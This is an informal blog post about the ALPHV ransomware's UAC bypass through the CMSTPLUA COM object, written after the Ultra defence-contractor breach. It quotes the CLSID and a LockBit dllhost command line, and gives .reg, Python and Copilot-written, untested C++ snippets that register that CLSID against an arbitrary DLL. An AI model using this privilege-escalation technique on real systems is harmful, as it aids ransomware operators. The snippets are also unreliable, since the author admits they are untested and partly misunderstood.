Unimportant Intro Stuff
It was reported yesterday that a British defense contractor’s, Ultra, subsidiary, Ultra Intelligence & Communications, was ransomed via the ALPHV ransomware gang. Leaked info involved contract info with NATO members (i.e., US, Israel, Switzerland). Switzerland’s DoD confirmed that the compromise affected the Swiss Air Force.
With experience in this space, I can testify that DoD contractors are very aware of this risk. Yes, the contracts can be very lucrative and the work can be very fulfilling (depending on the mission), but you are always precariously hanging over the fire of “contract renegotiation” and one mistake can tank the entire business. Sucks for Ultra employees if this tanked them. But there are no tears shed for the military industrial complex.
Back to the hack, CloudSek put an analysis report of the ALPHV ransomware binary a month after the Ultra Hack. Not sure if it was the same version used, but it’s definitely good enough for analysis reference.
UAC bypass stuff
How the heck does UAC bypass still happen in 2024?! It blows my mind that this is still allowed to happen. But whatever.
The author of the aforementioned report, Hansika Saxena — shoutout! — showed that the Threat Actor used CoGetObject to register the ransomware with the CLSID (global COM class object ID) {3E5FC7F9-9A51-4367-9063-A120244FBEC7}. This is the CMSTPLUA interface. What is that? Grok says it’s related to the Connection Manager component and that it’s an “auto-elevated COM object”, meaning, “it can execute commands with higher privileges”.
Connection Manager uses cmstplua.dll. It is used for installing connection manager service profiles. This functionality has been in Windows since before the Windows 7 introduction of UAC.
@bohops back in 2018 mentioned that one way to run this via CMD would be rundll32.exe /sta {CLSID}. The /sta stands for Single Threaded Apartment. I don’t know what that means (I’m not a Windows guy), but I’ll look into it later.
You can also use PowerShell:
$comObject = New-Object -ComObject {CLSID}
# Here you would need to know the exact method or property of the COM object that can execute or launch an .exe
CISA also reported LockBit using the same UAC bypass methodology last year. LockBit used the following way to assign the CLSID:
%SYSTEM32%\dllhost.exe/Processid:{3E5FC7F9-9A51-4367-9063- A120244FBEC7}
A dumb way of doing this is by manually writing a registry file (test.reg) and then running it:
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\CLSID\{3E5FC7F9-9A51-4367-9063-A120244FBEC7}]
@="Test Class"
[HKEY_CLASSES_ROOT\CLSID\{3E5FC7F9-9A51-4367-9063-A120244FBEC7}\InprocServer32]
@="C:\\Path\\To\\Your\\test.dll"
"ThreadingModel"="Both"
Another way is by using python:
import winreg as reg
# Define the CLSID and path to your DLL
clsid = "{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"
dll_path = r"C:\Path\To\Your\test.dll"
# Create the registry keys
try:
# Open the key, or create it if it doesn't exist
key = reg.CreateKey(reg.HKEY_CLASSES_ROOT, f"CLSID\\{clsid}")
reg.SetValue(key, "", reg.REG_SZ, "Test Class")
inproc_key = reg.CreateKey(key, "InprocServer32")
reg.SetValue(inproc_key, "", reg.REG_SZ, dll_path)
reg.SetValueEx(inproc_key, "ThreadingModel", 0, reg.REG_SZ, "Both")
print("CLSID assigned successfully.")
except Exception as e:
print(f"Error: {e}")
finally:
reg.CloseKey(key)
reg.CloseKey(inproc_key)
And finally in C++ (per Copilot. I’ll test it later):
#include <windows.h>
int main()
{
HKEY hKey;
LPCWSTR clsid = L"CLSID\\{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";
LPCWSTR inproc = L"CLSID\\{3E5FC7F9-9A51-4367-9063-A120244FBEC7}\\InprocServer32";
LPCWSTR dllPath = L"C:\\Path\\To\\Your\\test.dll";
// Create the CLSID key
if (RegCreateKeyExW(HKEY_CLASSES_ROOT, clsid, 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS)
{
RegSetValueExW(hKey, NULL, 0, REG_SZ, (const BYTE*)L"Test Class", sizeof(L"Test Class"));
RegCloseKey(hKey);
}
// Create the InprocServer32 key
if (RegCreateKeyExW(HKEY_CLASSES_ROOT, inproc, 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS)
{
RegSetValueExW(hKey, NULL, 0, REG_SZ, (const BYTE*)dllPath, (DWORD)(wcslen(dllPath) + 1) * sizeof(WCHAR));
RegSetValueExW(hKey, L"ThreadingModel", 0, REG_SZ, (const BYTE*)L"Both", sizeof(L"Both"));
RegCloseKey(hKey);
}
return 0;
}
A quick Google search shows this bypass is nothing new and has been used for 3+ years by ransomware gangs, including LockBit (Привет мои дружики!))). HOW THE HECK IS THIS STILL HAPPENING????